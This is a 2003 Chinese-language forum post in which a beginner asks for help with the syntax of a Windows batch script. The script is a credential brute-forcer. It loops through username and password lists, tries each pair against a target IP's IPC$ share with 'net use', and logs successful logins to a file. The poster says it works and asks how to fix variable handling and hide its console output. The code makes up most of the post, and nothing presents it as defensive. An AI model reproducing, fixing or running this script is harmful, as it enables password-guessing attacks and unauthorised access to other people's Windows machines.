Board logo

标题: 在下初到贵宝地!问个问题先!希望回答~ [打印本页]

作者: 月下暇想曲     时间: 2003-10-23 00:00    标题: 在下初到贵宝地!问个问题先!希望回答~

我是一个比较喜欢DOS的人 以经不习惯与“傻瓜”操作 我初学批处理 在自己编写一个BAT文件时遇到一个问题 希望大家都能帮帮我!看看是什么问题!
 我的BAT文件内容如下:
@echo off
.
.
.
if "%1"=="" echo ERR:please input IP! & goto paus
if "%2"=="" echo ERR:please input scan.txt! & goto paus
echo frist you must input username to user.txt and input password to pass.txt!!!!
echo.
echo   if scan succeeding,you can open scan.txt to find username and password!
echo.
echo   and now scan %1 ...
echo   please wait ...
echo.
start "scan.." /min cmd /c set user=%%i | for /F %%i in (user.txt) do ( set pass=%%c | for /F %%c in (pass.txt) do net use \\%1\ipc$ %%c /user:%%i | find "命令成功完成" | if %ERRORLEVEL%==0 echo net use \\%1\ipc$ %%c /user:%%i>>%2)
       .
       .
       .

  各位我的问题来了!
 第一:我的批处理可以按我所想完成预定工作!可是我想问的却是..
start "scan.." /min cmd /c set user=%%i | for /F %%i in (user.txt) do ( set pass=%%c | for /F %%c in (pass.txt) do net use \\%1\ipc$ %%c /user:%%i | find "命令成功完成" | if %ERRORLEVEL%==0 echo net use \\%1\ipc$ %%c /user:%%i>>%2)
       这句中的 set user=%%i 和set pass=%%c的位置问题!
一开始我是这样写的!
start "scan.." /min cmd /c ( set user=%%i | set pass=%%c ) | for /F %%i in (user.txt) do ( for /F %%c in (pass.txt) do net use \\%1\ipc$ %%c /user:%%i | find "命令成功完成" | if %ERRORLEVEL%==0 echo net use \\%1\ipc$ %pass% /user:%user%>>%2)
这样写不能让user.txt和pass.txt中的每行的username和pass对跑!
而在我改成第一种后却可以!虽然我改了,但是却不是很明白为什么!

还有 我也试过在语句start前用set设置这两值 可是一样不行按我原想的工作!
 
 第二!当用了set user=%%i和set pass=%%c后在语句
echo net use \\%1\ipc$ %pass% /user:%user%应该没错的!可是不能引用!
这是问题二!

 第三!呵呵 是不是问题太多了?不问也不解决我们怎么成长?
  在start "scan.." .......... 语句中用>nul 不能清除显示器上的命令回显!
请问题怎么解决? 
 还有就是在net use \\%1\ipc$ /del>nul 中也是清除不了全部的命令回显!
 比如这句当遇到没有与%1联接时就还会出现"找不到网络路径" 请问这些怎么解决!
 第4!在start语句中 我用了for /f %%i in (user.txt) do (....)的语句结构,请问是否有误?

 希望大家都给点个人见解!谢谢!
      
[em19][em19]